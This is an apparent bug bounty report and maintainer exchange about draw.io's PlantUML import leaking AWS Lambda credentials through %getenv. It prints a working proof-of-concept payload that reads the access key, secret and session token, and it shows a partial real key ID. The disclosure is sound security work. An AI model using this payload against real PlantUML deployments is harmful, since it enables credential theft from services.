AWS credentials exposure in jgraph/drawio
Reported on
Mar 29th 2023
Description
app.diagrams.net allow the insertion of PlantUML objects. This feature is using an old and misconfigured version of PlantUML (1.2022.6), therefore, it is possible to exploit dangerous functions such as %getenv to read environment variables in the machine where PlantUML is running.
I was able to exploit this functions to print the following environment variables
AWS_REGION
AWS_ACESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
I didn't try to access your AWS environment to avoid generating alerts, but I'm pretty sure this credentials works.
Proof of Concept
- go to app.diagrams.net
- Create a new project
- Arrange -> Insert -> Advanced -> PlantUML
- Paste this code
@startuml
start
note
AWS_REGION: %getenv("AWS_REGION")
AWS_ACCESS_KEY_ID: %getenv("AWS_ACCESS_KEY_ID")
AWS_SECRET_ACCESS_KEY: %getenv("AWS_SECRET_ACCESS_KEY")
AWS_SESSION_TOKEN: %substr(%getenv("AWS_SESSION_TOKEN"), 0, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 100, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 200, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 300, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 400, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 500, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 600, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 700, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 800, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 900, 100)
end note
stop
@enduml
Impact
I was able to access full AWS Credentials related to app.diagrams.net:
AWS_REGION: eu-central-1
AWS ACCESS KEYD: ASIAWRZIXRXDCC2JHUEU
AWS_SECRET_ ACCESS_ KEY: 5nK[REDACTED]
AWS_SESSION_TOKEN: [REDACTED]
Screenshot screen_1
If an attacker can read arbitrary environment variables that contain AWS credentials, they can gain unauthorized access to your AWS account and perform malicious activities such as creating new resources, modifying existing resources, stealing data, launching attacks, escalating privileges, hiding their activities, and generating costs.
It's a good idea, thanks for your report. If we used a general VM on AWS and AWS was our production system for everything, it would indeed be a high scoring attack.
Just to note, attacks on our production system at app.diagrams.net are within scope, even if they are different to the draw.io project.
In this case the architecture is siginificantly different and we don't have a plantUML version in the repo.
The main app is deployed from Google Cloud and Cloudflare. On AWS we have two imports functions only, as lambda functions, one of which is the PlantUML import.
With lambda, each instance runs with a set of temporary credentials, see https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html. This means the credentials outputed are the credentials for that single instance created for your call. The instance is killed after the call.
This means the credentials don't actually access anything after you've received them, they are invalid at that point.
So, I will have to go through and change the severity to reflect our exact deployment. I'm sorry that it will be very low and there won't be a reward, but the idea was certainly a good one.
To clarify the severities changed:
Scope: The scope is unchanged, there is no access to further resources in this attack. Confidentiality: There is no access to anything confidential, the tokens only apply to the instance you spin up and nothing else. Intergrity: There is no effect on system integrity, no data is ever stored on AWS even if the tokens allowed access. Availablity: There is no effect on availabilty, other lambda instances will spin up normally with their own credentials.
I will mark as valid since the PlantUML deployment is out of date and even these keys shouldn't be exposed, regardless of effect.
I've marked as fixed without a repo commit as it's specific to our deployment. The path to deploy the lambda has been removed for now, so the call isn't possible.
While I appreciate your perspective, I respectfully disagree that the exfiltration of AWS credentials from a Lambda function is not a significant vulnerability (i.e. doesn't have effects on integrity, confidentiality and availability). If an attacker were to gain access to these credentials, it is possible that they could escalate privileges and potentially gain access to other Lambda functions or AWS resources.
I did not attempt to exploit these credentials for privilege escalation or unauthorized access to other resources, so I cannot prove that this is the case. However, the possibility of privilege escalation is not excluded and should be taken seriously.
No, they cannot access anything else, please read the link I sent previously.
But yes, it's obviously a tricky point as to whether or not you attempt to use the credentials for an attack to prove your point. I did repeat the call you made and attempted to use the credentials, all the calls I made were rejected for invalid authenication.